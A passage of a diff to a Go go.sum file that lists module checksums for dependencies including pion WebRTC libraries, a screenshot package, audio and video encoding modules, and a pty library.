github.com/creack/pty v1.1.21/go.mod h1:MOBLtS5ELjhRRrroQr9kyvTxUAFNvYEK993ew/Vr4O4=
|
||||
github.com/davecgh/go-spew v1.1.0 h1:ZDRjVQ15GmhC3fiQ8ni8+OwkZQO4DARzQgrnXU1Liz8=
|
||||
github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
|
||||
github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c=
|
||||
github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
|
||||
github.com/gen2brain/malgo v0.11.24 h1:hHcIJVfzWcEDHFdPl5Dl/CUSOjzOleY0zzAV8Kx+imE=
|
||||
github.com/gen2brain/malgo v0.11.24/go.mod h1:f9TtuN7DVrXMiV/yIceMeWpvanyVzJQMlBecJFVMxww=
|
||||
github.com/gen2brain/shm v0.1.0 h1:MwPeg+zJQXN0RM9o+HqaSFypNoNEcNpeoGp0BTSx2YY=
|
||||
@@ -16,29 +18,77 @@ github.com/gen2brain/x264-go/yuv v0.0.0-20221204084822-82ee2951dea2 h1:lihaRUKRj
|
||||
github.com/gen2brain/x264-go/yuv v0.0.0-20221204084822-82ee2951dea2/go.mod h1:PzzJntdOaVt4Gc37fNaEXpqmhKkUgd/xqyPMUfx+FQc=
|
||||
github.com/godbus/dbus/v5 v5.1.0 h1:4KLkAxT3aOY8Li4FRJe/KvhoNFFxo0m6fNuFUO8QJUk=
|
||||
github.com/godbus/dbus/v5 v5.1.0/go.mod h1:xhWf0FNVPg57R7Z0UbKHbJfkEywrmjJnf7w5xrFpKfA=
|
||||
github.com/google/uuid v1.6.0 h1:NIvaJDMOsjHA8n1jAhLSgzrAzy1Hgr+hNrb57e+94F0=
|
||||
github.com/google/uuid v1.6.0/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo=
|
||||
github.com/jezek/xgb v1.1.1 h1:bE/r8ZZtSv7l9gk6nU0mYx51aXrvnyb44892TwSaqS4=
|
||||
github.com/jezek/xgb v1.1.1/go.mod h1:nrhwO0FX/enq75I7Y7G8iN1ubpSGZEiA3v9e9GyRFlk=
|
||||
github.com/kbinani/screenshot v0.0.0-20250624051815-089614a94018 h1:NQYgMY188uWrS+E/7xMVpydsI48PMHcc7SfR4OxkDF4=
|
||||
github.com/kbinani/screenshot v0.0.0-20250624051815-089614a94018/go.mod h1:Pmpz2BLf55auQZ67u3rvyI2vAQvNetkK/4zYUmpauZQ=
|
||||
github.com/lxn/win v0.0.0-20210218163916-a377121e959e h1:H+t6A/QJMbhCSEH5rAuRxh+CtW96g0Or0Fxa9IKr4uc=
|
||||
github.com/lxn/win v0.0.0-20210218163916-a377121e959e/go.mod h1:KxxjdtRkfNoYDCUP5ryK7XJJNTnpC8atvtmTheChOtk=
|
||||
github.com/pion/datachannel v1.5.10 h1:ly0Q26K1i6ZkGf42W7D4hQYR90pZwzFOjTq5AuCKk4o=
|
||||
github.com/pion/datachannel v1.5.10/go.mod h1:p/jJfC9arb29W7WrxyKbepTU20CFgyx5oLo8Rs4Py/M=
|
||||
github.com/pion/dtls/v3 v3.0.4 h1:44CZekewMzfrn9pmGrj5BNnTMDCFwr+6sLH+cCuLM7U=
|
||||
github.com/pion/dtls/v3 v3.0.4/go.mod h1:R373CsjxWqNPf6MEkfdy3aSe9niZvL/JaKlGeFphtMg=
|
||||
github.com/pion/ice/v4 v4.0.3 h1:9s5rI1WKzF5DRqhJ+Id8bls/8PzM7mau0mj1WZb4IXE=
|
||||
github.com/pion/ice/v4 v4.0.3/go.mod h1:VfHy0beAZ5loDT7BmJ2LtMtC4dbawIkkkejHPRZNB3Y=
|
||||
github.com/pion/interceptor v0.1.37 h1:aRA8Zpab/wE7/c0O3fh1PqY0AJI3fCSEM5lRWJVorwI=
|
||||
github.com/pion/interceptor v0.1.37/go.mod h1:JzxbJ4umVTlZAf+/utHzNesY8tmRkM2lVmkS82TTj8Y=
|
||||
github.com/pion/logging v0.2.2 h1:M9+AIj/+pxNsDfAT64+MAVgJO0rsyLnoJKCqf//DoeY=
|
||||
github.com/pion/logging v0.2.2/go.mod h1:k0/tDVsRCX2Mb2ZEmTqNa7CWsQPc+YYCB7Q+5pahoms=
|
||||
github.com/pion/mdns/v2 v2.0.7 h1:c9kM8ewCgjslaAmicYMFQIde2H9/lrZpjBkN8VwoVtM=
|
||||
github.com/pion/mdns/v2 v2.0.7/go.mod h1:vAdSYNAT0Jy3Ru0zl2YiW3Rm/fJCwIeM0nToenfOJKA=
|
||||
github.com/pion/randutil v0.1.0 h1:CFG1UdESneORglEsnimhUjf33Rwjubwj6xfiOXBa3mA=
|
||||
github.com/pion/randutil v0.1.0/go.mod h1:XcJrSMMbbMRhASFVOlj/5hQial/Y8oH/HVo7TBZq+j8=
|
||||
github.com/pion/rtcp v1.2.15 h1:LZQi2JbdipLOj4eBjK4wlVoQWfrZbh3Q6eHtWtJBZBo=
|
||||
github.com/pion/rtcp v1.2.15/go.mod h1:jlGuAjHMEXwMUHK78RgX0UmEJFV4zUKOFHR7OP+D3D0=
|
||||
github.com/pion/rtp v1.8.10 h1:puphjdbjPB+L+NFaVuZ5h6bt1g5q4kFIoI+r5q/g0CU=
|
||||
github.com/pion/rtp v1.8.10/go.mod h1:8uMBJj32Pa1wwx8Fuv/AsFhn8jsgw+3rUC2PfoBZ8p4=
|
||||
github.com/pion/sctp v1.8.35 h1:qwtKvNK1Wc5tHMIYgTDJhfZk7vATGVHhXbUDfHbYwzA=
|
||||
github.com/pion/sctp v1.8.35/go.mod h1:EcXP8zCYVTRy3W9xtOF7wJm1L1aXfKRQzaM33SjQlzg=
|
||||
github.com/pion/sdp/v3 v3.0.9 h1:pX++dCHoHUwq43kuwf3PyJfHlwIj4hXA7Vrifiq0IJY=
|
||||
github.com/pion/sdp/v3 v3.0.9/go.mod h1:B5xmvENq5IXJimIO4zfp6LAe1fD9N+kFv+V/1lOdz8M=
|
||||
github.com/pion/srtp/v3 v3.0.4 h1:2Z6vDVxzrX3UHEgrUyIGM4rRouoC7v+NiF1IHtp9B5M=
|
||||
github.com/pion/srtp/v3 v3.0.4/go.mod h1:1Jx3FwDoxpRaTh1oRV8A/6G1BnFL+QI82eK4ms8EEJQ=
|
||||
github.com/pion/stun/v3 v3.0.0 h1:4h1gwhWLWuZWOJIJR9s2ferRO+W3zA/b6ijOI6mKzUw=
|
||||
github.com/pion/stun/v3 v3.0.0/go.mod h1:HvCN8txt8mwi4FBvS3EmDghW6aQJ24T+y+1TKjB5jyU=
|
||||
github.com/pion/transport/v3 v3.0.7 h1:iRbMH05BzSNwhILHoBoAPxoB9xQgOaJk+591KC9P1o0=
|
||||
github.com/pion/transport/v3 v3.0.7/go.mod h1:YleKiTZ4vqNxVwh77Z0zytYi7rXHl7j6uPLGhhz9rwo=
|
||||
github.com/pion/turn/v4 v4.0.0 h1:qxplo3Rxa9Yg1xXDxxH8xaqcyGUtbHYw4QSCvmFWvhM=
|
||||
github.com/pion/turn/v4 v4.0.0/go.mod h1:MuPDkm15nYSklKpN8vWJ9W2M0PlyQZqYt1McGuxG7mA=
|
||||
github.com/pion/webrtc/v4 v4.0.7 h1:aeq78uVnFZd2umXW0O9A2VFQYuS7+BZxWetQvSp2jPo=
|
||||
github.com/pion/webrtc/v4 v4.0.7/go.mod h1:oFVBBVSHU3vAEwSgnk3BuKCwAUwpDwQhko1EDwyZWbU=
|
||||
github.com/pixiv/go-libjpeg v0.0.0-20190822045933-3da21a74767d h1:ls+7AYarUlUSetfnN/DKVNcK6W8mQWc6VblmOm4XwX0=
|
||||
github.com/pixiv/go-libjpeg v0.0.0-20190822045933-3da21a74767d/go.mod h1:DO7ixpslN6XfbWzeNH9vkS5CF2FQUX81B85rYe9zDxU=
|
||||
github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM=
|
||||
github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4=
|
||||
github.com/stretchr/objx v0.1.0/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME=
|
||||
github.com/stretchr/objx v0.4.0/go.mod h1:YvHI0jy2hoMjB+UWwv71VJQ9isScKT/TqJzVSSt89Yw=
|
||||
github.com/stretchr/objx v0.5.0/go.mod h1:Yh+to48EsGEfYuaHDzXPcE3xhTkx73EhmCGUpEOglKo=
|
||||
github.com/stretchr/objx v0.5.2/go.mod h1:FRsXN1f5AsAjCGJKqEizvkpNtU+EGNCLh3NxZ/8L+MA=
|
||||
github.com/stretchr/testify v1.6.1 h1:hDPOHmpOpP40lSULcqw7IrRb/u7w6RpDC9399XyoNd0=
|
||||
github.com/stretchr/testify v1.6.1/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg=
|
||||
github.com/stretchr/testify v1.7.1/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg=
|
||||
github.com/stretchr/testify v1.8.0/go.mod h1:yNjHg4UonilssWZ8iaSj1OCr/vHnekPRkoO+kdMU+MU=
|
||||
github.com/stretchr/testify v1.8.4/go.mod h1:sz/lmYIOXD/1dqDmKjjqLyZ2RngseejIcXlSw2iwfAo=
|
||||
github.com/stretchr/testify v1.9.0/go.mod h1:r2ic/lqez/lEtzL7wO/rwa5dbSLXVDPFyf8C91i36aY=
|
||||
github.com/stretchr/testify v1.10.0 h1:Xv5erBjTwe/5IxqUQTdXv5kgmIvbHo3QQyRwhJsOfJA=
|
||||
github.com/vmihailenco/msgpack/v5 v5.4.1 h1:cQriyiUvjTwOHg8QZaPihLWeRAAVoCpE00IUPn0Bjt8=
|
||||
github.com/vmihailenco/msgpack/v5 v5.4.1/go.mod h1:GaZTsDaehaPpQVyxrf5mtQlH+pc21PIudVV/E3rRQok=
|
||||
github.com/vmihailenco/tagparser/v2 v2.0.0 h1:y09buUbR+b5aycVFQs/g70pqKVZNBmxwAhO7/IwNM9g=
|
||||
github.com/vmihailenco/tagparser/v2 v2.0.0/go.mod h1:Wri+At7QHww0WTrCBeu4J6bNtoV6mEfg5OIWRZA9qds=
|
||||
github.com/wlynxg/anet v0.0.5 h1:J3VJGi1gvo0JwZ/P1/Yc/8p63SoW98B5dHkYDmpgvvU=
|
||||
github.com/wlynxg/anet v0.0.5/go.mod h1:eay5PRQr7fIVAMbTbchTnO9gG65Hg/uYGdc7mguHxoA=
|
||||
golang.org/x/crypto v0.49.0 h1:+Ng2ULVvLHnJ/ZFEq4KdcDd/cfjrrjjNSXNzxg0Y4U4=
|
||||
golang.org/x/crypto v0.49.0/go.mod h1:ErX4dUh2UM+CFYiXZRTcMpEcN8b/1gxEuv3nODoYtCA=
|
||||
golang.org/x/net v0.51.0 h1:94R/GTO7mt3/4wIKpcR5gkGmRLOuE/2hNGeWq/GBIFo=
|
||||
golang.org/x/net v0.51.0/go.mod h1:aamm+2QF5ogm02fjy5Bb7CQ0WMt1/WVM7FtyaTLlA9Y=
|
||||
golang.org/x/sys v0.0.0-20201018230417-eeed37f84f13/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.42.0 h1:omrd2nAlyT5ESRdCLYdm3+fMfNFE/+Rf4bDIQImRJeo=
|
||||
golang.org/x/sys v0.42.0/go.mod h1:4GL1E5IUh+htKOUEOaiffhrAeqysfVGipDYzABqnCmw=
|
||||
gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405 h1:yhCVgyC4o1eVCa2tZl7eS0r+SDo693bJlVdllGtEeKM=
|
||||
gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0=
|
||||
gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=
|
||||
gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA=
|
||||
gopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=
|
||||
nhooyr.io/websocket v1.8.10 h1:mv4p+MnGrLDcPlBoWsvPP7XCzTYMXP9F9eIGoKbgx7Q=
|
||||
|
||||
Reference in New Issue
Block a user